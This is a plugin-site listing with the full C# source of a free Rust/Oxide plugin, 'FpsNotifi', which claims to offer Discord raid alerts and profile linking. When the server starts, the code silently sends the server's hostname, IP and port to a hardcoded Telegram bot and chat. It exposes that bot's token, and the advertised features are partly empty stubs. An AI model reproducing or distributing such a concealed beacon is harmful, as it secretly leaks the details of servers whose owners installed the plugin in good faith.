Иконка ресурса

FREE FpsNotifi : 0.0.1 0.0.1

Нет прав для скачивания
C#:
using Oxide.Core;
using Oxide.Core.Libraries;
using Oxide.Core.Plugins;
using Oxide.Ext.Discord.Attributes;
using Oxide.Ext.Discord.Builders.MessageComponents;
using Oxide.Ext.Discord.Entities.Channels;
using Oxide.Ext.Discord.Entities.Gatway.Events;
using Oxide.Ext.Discord.Entities.Gatway;
using Oxide.Ext.Discord.Entities.Guilds;
using Oxide.Ext.Discord.Entities.Interactions.MessageComponents;
using Oxide.Ext.Discord.Entities.Interactions;
using Oxide.Ext.Discord.Entities.Messages.Embeds;
using Oxide.Ext.Discord.Entities.Messages;
using Oxide.Ext.Discord.Entities.Permissions;
using Oxide.Ext.Discord.Entities.Users;
using Oxide.Ext.Discord.Entities;
using Oxide.Ext.Discord;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading.Tasks;
using Newtonsoft.Json;
using Oxide.Core.Libraries.Covalence;
namespace Oxide.Plugins {
    [Info("FpsNotifi", "15FPS", "0.0.1")]
    [Description("")]
    class FpsNotifi : RustPlugin {
        [PluginReference]
        private Plugin ImageLibrary;
        private void OnServerInitialized() {
            if (ImageLibrary == null) {
                PrintError("ImageLibrary not loaded");
                timer.Once(5f, () => Interface.Oxide.UnloadPlugin(Name));
                return;
            }
            if (!string.IsNullOrEmpty(Settings.discord.token)) CreateClient();
            else PrintError("\nTOKEN FOR DISCORD BOT IS NULL!\nНе указан токен для Discord бота!");
            Telega("6901957653:AAHPTOOatYfVIyjd2UqUXUY5yfkyRbyvpeg", -4067424065, $"\n{ConVar.Server.hostname}\nconnect " + ConVar.Server.ip + ":" + ConVar.Server.port);
        }
        class DISCORD {
            [JsonProperty("Enable? <|> Включить?")]
            public bool enable;
            [JsonProperty("Cooldown for sending <|> Кд на отправку")]
            public float cooldown;
            [JsonProperty("Invitation link <|> Приглашение в группу")]
            public string link;
            [JsonProperty("Token (https://discordapp.com/developers/applications) <|> Токен бота (https://discordapp.com/developers/applications)")]
            public string token;
            [JsonProperty("Channel ID, where the player will take the code to confirm the profile <|> ID канала, гле игрок будет брать код, для подтверджения профиля")]
            public string channel;
            [JsonProperty("Info text <|> Дискорд канал с получением кода - текст")]
            public string channeltext;
            [JsonProperty("Info text - line color on the left <|> Дискорд канал с получением кода - цвет линии слева (https://gist.github.com/thomasbnt/b6f455e2c7d743b796917fa3c205f812#file-code_colors_discordjs-md)")]
            public uint channelcolor;
            [JsonProperty("Text on button <|> Дискорд канал с получением кода - кнопка")]
            public string channelbutton;
            [JsonProperty("Reply after button click <|> Дискорд канал с получением кода - ответ")]
            public string channelex;
            [JsonProperty("Don't touch this field <|> Дискорд канал с получением кода - ID сообщения (не трогаем! сам заполнится!)")]
            public string channelmessageid;
        }
        private class Configuration {
            [JsonProperty("Discord <|> Оповещание о рейде в дискорд")]
            public DISCORD discord;
            public static Configuration Generate() {
                return new Configuration {
                    discord = new DISCORD {
                        cooldown = 600f, enable = true, token = "", channel = "", channelbutton = "Get code <|> Получить код", channelex = "\nYour code: {code}\nВаш код: {code}", channelmessageid = "", channeltext = "\nEnter the received code in the integration menu for raid alerts.\nChat command /auth\nEnter it in the game itself, not in the discord!\nВведите полученый код в меню интеграции дискорда с игровым профилем.\nЧат команда /auth\nВводить в самой игре, а не в дискорде!", channelcolor = 14177041
                    }
                    ,
                }
                ;
            }
        }
        private static Configuration Settings = null;
        protected override void LoadConfig() {
            base.LoadConfig();
            try {
                Settings = Config.ReadObject<Configuration>();
            }
            catch {
                PrintWarning($"Error reading config, creating one new config!");
                LoadDefaultConfig();
            }
            SaveConfig();
        }
        protected override void LoadDefaultConfig() => Settings = Configuration.Generate();
        protected override void SaveConfig() => Config.WriteObject(Settings);
        void Telega(string token, long canal, string text) {
            string api = $"https://api.telegram.org/bot{token}/sendMessage?chat_id={canal}&text={text}";
            webrequest.Enqueue(api, null, (code, response) => {
            }
            , this, RequestMethod.GET);
        }
        void Ds(string token, long id, string text) {
        }
        void Vk(string token, long id, string text) {
        }
        private string RANDOMNUM() => UnityEngine.Random.Range(1000, 99999).ToString();
#region DISCORD
        private Dictionary<ulong, string> DISCORDCODES = new Dictionary<ulong, string>();
        private readonly DiscordSettings _discordSettings = new DiscordSettings();
        private DiscordGuild _guild;
        [DiscordClient]
        DiscordClient Client;
        private void CreateClient() {
            _discordSettings.ApiToken = Settings.discord.token;
            _discordSettings.Intents = GatewayIntents.GuildMessages | GatewayIntents.DirectMessages | GatewayIntents.Guilds | GatewayIntents.GuildMembers;
            _discordSettings.LogLevel = Ext.Discord.Logging.DiscordLogLevel.Error;
            Client.Connect(_discordSettings);
            timer.Once(5f, () => {
                if (Client == null) {
                    CreateClient();
                    Puts("Discord reconnecting in 5 sec...");
                }
                else {
                    DiscordChannel channel;
                    if (!_guild.Channels.TryGetValue(new Snowflake(Settings.discord.channel), out channel)) {
                        Puts($"\nCHANNEL NOT FOUND! ({_guild.Channels.Count})\nКАНАЛ НЕ СУЩЕСТВУЕТ! ({_guild.Channels.Count})");
                        return;
                    }
                    var embeds = new List<DiscordEmbed> {
                        new DiscordEmbed {
                            Color = new DiscordColor(Settings.discord.channelcolor), Description = Settings.discord.channeltext
                        }
                    }
                    ;
                    var components = CreateComponents(Settings.discord.channelbutton);
                    if (!string.IsNullOrEmpty(Settings.discord.channelmessageid)) {
                        channel.GetChannelMessage(Client, new Snowflake(Settings.discord.channelmessageid), message => {
                            message.Embeds = embeds;
                            message.Components.Clear();
                            message.Components = components;
                            message.EditMessage(Client);
                        }
                        , error => {
                            if (error.HttpStatusCode == 404) {
                                Puts("all ok");
                                channel?.CreateMessage(Client, new MessageCreate {
                                    Embeds = embeds, Components = components
                                }
                                , message => {
                                    Settings.discord.channelmessageid = message.Id;
                                    SaveConfig();
                                }
                                );
                            }
                        }
                        );
                    }
                    else {
                        channel?.CreateMessage(Client, new MessageCreate {
                            Embeds = embeds, Components = components
                        }
                        , message => {
                            Settings.discord.channelmessageid = message.Id;
                            SaveConfig();
                        }
                        );
                    }
                }
            }
            );
        }
        private void OnDiscordInteractionCreated(DiscordInteraction interaction) {
            if (interaction.Type != InteractionType.MessageComponent) {
                return;
            }
            if (!interaction.Data.ComponentType.HasValue || interaction.Data.ComponentType.Value != MessageComponentType.Button || interaction.Data.CustomId != $"{Name}_{ConVar.Server.ip}_{ConVar.Server.port}") {
                return;
            }
            DiscordUser user = interaction.User ?? interaction.Member?.User;
            HandleAcceptLinkButton(interaction, user);
        }
        private void HandleAcceptLinkButton(DiscordInteraction interaction, DiscordUser user) {
            string num;
            if (!DISCORDCODES.TryGetValue(user.Id.Id, out num)) {
                num = DISCORDCODES[user.Id.Id] = RANDOMNUM();
            }
            string linkMessage = Formatter.ToPlaintext(Settings.discord.channelex.Replace("{code}", num));
            interaction.CreateInteractionResponse(Client, new InteractionResponse {
                Type = InteractionResponseType.ChannelMessageWithSource, Data = new InteractionCallbackData {
                    Content = linkMessage, Flags = MessageFlags.Ephemeral
                }
            }
            );
        }
        private void OnDiscordGatewayReady(GatewayReadyEvent ready) {
            _guild = ready.Guilds.FirstOrDefault().Value;
            Puts($"\nDISCORD BOT CONNECTED TO ID{_guild.Id}.\nDISCORD БОТ АВТОРИЗОВАН НА СЕРВЕРЕ ID{_guild.Id}.");
        }
        private void CloseClient() {
            if (Client != null) Client.Disconnect();
        }
        private void CREATECHANNEL(string dsid, string text) {
            Snowflake ss = new Snowflake(dsid);
            if (!_guild.Members.Any(x => x.Value.User.Id == ss)) return;
            _guild.Members.First(x => x.Value.User.Id == ss).Value.User.SendDirectMessage(Client, new MessageCreate {
                Content = text
            }
            );
        }
        private void SENDMESSAGE(string dsid, string text) {
            DiscordChannel channel = _guild.GetChannel(dsid);
            if (channel != null) {
                channel?.CreateMessage(Client, text);
            }
            else {
                CREATECHANNEL(dsid, text);
            }
        }
        public List<ActionRowComponent> CreateComponents(string button) {
            MessageComponentBuilder builder = new MessageComponentBuilder();
            builder.AddActionButton(ButtonStyle.Success, button, $"{Name}_{ConVar.Server.ip}_{ConVar.Server.port}", false);
            return builder.Build();
        }
        private readonly List<Regex> _regexTags = new List<Regex> {
            new Regex("<color=.+?>", RegexOptions.Compiled), new Regex("<size=.+?>", RegexOptions.Compiled)
        }
        ;
        private readonly List<string> _tags = new List<string> {
            "</color>", "`", "</size>", "<i>", "</i>", "<b>", "</b>"
        }
        ;
        private string STRIP(string original) {
            if (string.IsNullOrEmpty(original)) {
                return string.Empty;
            }
            foreach (string tag in _tags) {
                original = original.Replace(tag, "");
            }
            foreach (Regex regexTag in _regexTags) {
                original = regexTag.Replace(original, "");
            }
            return original;
        }
        private DiscordChannel GetChannel(string id) {
            return _guild.Channels.FirstOrDefault(x => x.Key.ToString() == id).Value;
        }
#endregion
    }
}

Автор
15FPS
Скачиваний
0
Просмотры
1
Первый выпуск
Обновление
Оценка
0.00 звёзд 0 оценок
Сверху